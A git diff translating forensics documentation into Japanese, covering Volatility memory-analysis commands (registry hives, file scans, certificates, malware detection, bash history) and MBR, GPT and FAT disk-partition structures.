@@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## レジストリハイブ -### Print available hives +### 利用可能なハイブを表示 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### 値を取得する {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} -### Dump - +### ダンプ ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## ファイルシステム -## Filesystem - -### Mount +### マウント {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### スキャン/ダンプ {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +516,50 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table +### マスターファイルテーブル {{#tabs}} {{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +**NTFSファイルシステム**は、_マスターファイルテーブル_(MFT)として知られる重要なコンポーネントを使用します。このテーブルには、ボリューム上のすべてのファイルに対して少なくとも1つのエントリが含まれており、MFT自体もカバーしています。**サイズ、タイムスタンプ、権限、実際のデータ**など、各ファイルに関する重要な詳細は、MFTエントリ内またはMFTの外部にあるがこれらのエントリによって参照される領域にカプセル化されています。詳細については、[公式ドキュメント](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)を参照してください。 -### SSL Keys/Certs +### SSLキー/証明書 {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Malware +## マルウェア {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +573,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +591,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### Yaraを使ったスキャン -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +このスクリプトを使用して、githubからすべてのyaraマルウェアルールをダウンロードしてマージします: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ディレクトリを作成し、実行します。これにより、すべてのマルウェア用のyaraルールを含む_**malware_rules.yar**_というファイルが作成されます。 {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +610,154 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} ## MISC -### External plugins +### 外部プラグイン -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +外部プラグインを使用したい場合は、プラグインに関連するフォルダが最初のパラメータとして使用されていることを確認してください。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +[https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) からダウンロードしてください。 ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - -### Mutexes +### ミューテックス {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} -### Symlinks +### シンボリックリンク {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +**メモリからbashの履歴を読み取ることが可能です。** _.bash_history_ファイルをダンプすることもできますが、無効になっているため、このvolatilityモジュールを使用できることを嬉しく思うでしょう。 {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### タイムライン {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### ドライバー {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### クリップボードを取得する ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### IEの履歴を取得する ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Notepadのテキストを取得する ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### スクリーンショット ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - -### Master Boot Record (MBR) - +### マスターブートレコード (MBR) ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +**マスターブートレコード (MBR)** は、ストレージメディアの論理パーティションを管理する上で重要な役割を果たします。これらのパーティションは異なる [ファイルシステム](https://en.wikipedia.org/wiki/File_system) で構成されています。MBR はパーティションのレイアウト情報を保持するだけでなく、ブートローダーとして機能する実行可能コードも含まれています。このブートローダーは、OS の第二段階のロードプロセスを直接開始するか([第二段階ブートローダー](https://en.wikipedia.org/wiki/Second-stage_boot_loader) を参照)、各パーティションの [ボリュームブートレコード](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) と連携して動作します。詳細については、[MBR Wikipedia ページ](https://en.wikipedia.org/wiki/Master_boot_record) を参照してください。 -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## 参考文献 - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +765,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..b47eb8786 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# パーティション/ファイルシステム/カービング {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## パーティション -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +ハードドライブまたは**SSDディスクは、データを物理的に分離するために異なるパーティションを含むことができます**。\ +ディスクの**最小**単位は**セクター**(通常は512Bで構成される)です。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 -### MBR (master Boot Record) +### MBR(マスターブートレコード) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために不可欠です。\ +最大で**4つのパーティション**を許可します(**アクティブ/ブート可能**なのは最大で**1つ**のみ)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるパーティションは1つだけです。\ +MBRは**最大2.2TB**を許可します。 ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +MBRの**バイト440から443**の間には**Windowsディスク署名**が見つかります(Windowsが使用されている場合)。ハードディスクの論理ドライブレターはWindowsディスク署名に依存します。この署名を変更すると、Windowsが起動しなくなる可能性があります(ツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 ![](<../../../images/image (310).png>) -**Format** +**フォーマット** -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| オフセット | 長さ | アイテム | +| ------------ | --------- | ---------------------- | +| 0 (0x00) | 446(0x1BE)| ブートコード | +| 446 (0x1BE) | 16 (0x10) | 最初のパーティション | +| 462 (0x1CE) | 16 (0x10) | 2番目のパーティション | +| 478 (0x1DE) | 16 (0x10) | 3番目のパーティション | +| 494 (0x1EE) | 16 (0x10) | 4番目のパーティション | +| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA | -**Partition Record Format** +**パーティションレコードフォーマット** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| オフセット | 長さ | アイテム | +| ------------ | -------- | ---------------------------------------------------------- | +| 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) | +| 1 (0x01) | 1 (0x01) | 開始ヘッド | +| 2 (0x02) | 1 (0x01) | 開始セクター(ビット0-5);シリンダの上位ビット(6-7) | +| 3 (0x03) | 1 (0x01) | 開始シリンダの最下位8ビット | +| 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 終了ヘッド | +| 6 (0x06) | 1 (0x01) | 終了セクター(ビット0-5);シリンダの上位ビット(6-7) | +| 7 (0x07) | 1 (0x01) | 終了シリンダの最下位8ビット | +| 8 (0x08) | 4 (0x04) | パーティション前のセクター(リトルエンディアン) | +| 12 (0x0C) | 4 (0x04) | パーティション内のセクター | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます) ![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -And then use the following code - +その後、次のコードを使用します。 ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (論理ブロックアドレッシング)** -**LBA (Logical block addressing)** +**論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの位置を指定するために使用される一般的なスキームで、通常はハードディスクドライブなどの二次ストレージシステムです。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。 -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUIDパーティションテーブル) -### GPT (GUID Partition Table) +GUIDパーティションテーブル、通称GPTは、MBR(マスターブートレコード)と比較してその強化された機能のために好まれています。GPTは、**パーティションのためのグローバルに一意の識別子**を持つことで際立っています。 -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRは32ビットです。 +- **パーティション制限**: GPTはWindowsシステムで最大**128パーティション**をサポートし、最大**9.4ZB**のデータを収容できます。 +- **パーティション名**: 最大36のUnicode文字でパーティションに名前を付けることができます。 -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**データの耐障害性と回復**: -**Data Resilience and Recovery**: +- **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。このデータをディスク全体に複製し、データの整合性と耐障害性を向上させます。 +- **循環冗長検査 (CRC)**: GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合、GPTは別のディスク位置から破損したデータを回復しようとします。 -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**保護MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、GPTフォーマットのディスク上のデータ整合性を保護します。 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**ハイブリッドMBR (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +**BIOS**サービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを保存するためにも使用される可能性がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。 -**Partition table header (LBA 1)** +**パーティションテーブルヘッダー (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブルのオフセット80および84)。 -| Offset | Length | Contents | +| オフセット | 長さ | 内容 | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)リトルエンディアンマシン上) | +| 8 (0x08) | 4バイト | バージョン 1.0 (00h 00h 01h 00h) for UEFI 2.8 | +| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアン、バイト単位、通常は5Ch 00h 00h 00hまたは92バイト) | +| 16 (0x10) | 4バイト | [CRC32](https://en.wikipedia.org/wiki/CRC32) ヘッダーのCRC(オフセット +0 からヘッダーサイズまで)リトルエンディアン、計算中にこのフィールドはゼロにされます | +| 20 (0x14) | 4バイト | 予約; ゼロでなければならない | +| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの位置) | +| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの位置) | +| 40 (0x28) | 8バイト | パーティションのための最初の使用可能LBA(プライマリパーティションテーブルの最後のLBA + 1) | +| 48 (0x30) | 8バイト | 最後の使用可能LBA(セカンダリパーティションテーブルの最初のLBA − 1) | +| 56 (0x38) | 16バイト | ディスクGUID(混合エンディアン) | +| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(常にプライマリコピーで2) | +| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | +| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | +| 88 (0x58) | 4バイト | リトルエンディアンのパーティションエントリ配列のCRC32 | +| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければならない(512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) | -**Partition entries (LBA 2–33)** +**パーティションエントリ (LBA 2–33)** -| GUID partition entry format | | | +| GUIDパーティションエントリフォーマット | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| オフセット | 長さ | 内容 | +| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合エンディアン) | +| 16 (0x10) | 16バイト | 一意のパーティションGUID(混合エンディアン) | +| 32 (0x20) | 8バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8バイト | 最後のLBA(含む、通常は奇数) | +| 48 (0x30) | 8バイト | 属性フラグ(例: ビット60は読み取り専用を示す) | +| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | -**Partitions Types** +**パーティションタイプ** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +より多くのパーティションタイプは[https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)にあります。 -### Inspecting +### 検査 -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクターを検査できます。** 次の画像では、**セクター0**で**MBR**が検出され、解釈されました: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +それが**MBRの代わりにGPTテーブル**であった場合、**セクター1**にシグネチャ_EFI PART_が表示されるはずです(前の画像では空です)。 -## File-Systems +## ファイルシステム -### Windows file-systems list +### Windowsファイルシステムリスト - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (ファイルアロケーションテーブル)**ファイルシステムは、そのコアコンポーネントであるファイルアロケーションテーブルをボリュームの開始位置に配置するように設計されています。このシステムは、**2つのコピー**のテーブルを維持することによってデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダーは**固定位置**に存在する必要があり、システムの起動プロセスにとって重要です。 -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +ファイルシステムの基本的なストレージ単位は**クラスター、通常は512B**であり、複数のセクターで構成されています。FATはバージョンを通じて進化してきました: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**、12ビットのクラスターアドレスをサポートし、最大4078クラスター(UNIXでは4084)を処理します。 +- **FAT16**、16ビットアドレスに拡張され、最大65,517クラスターを収容します。 +- **FAT32**、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。 -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. 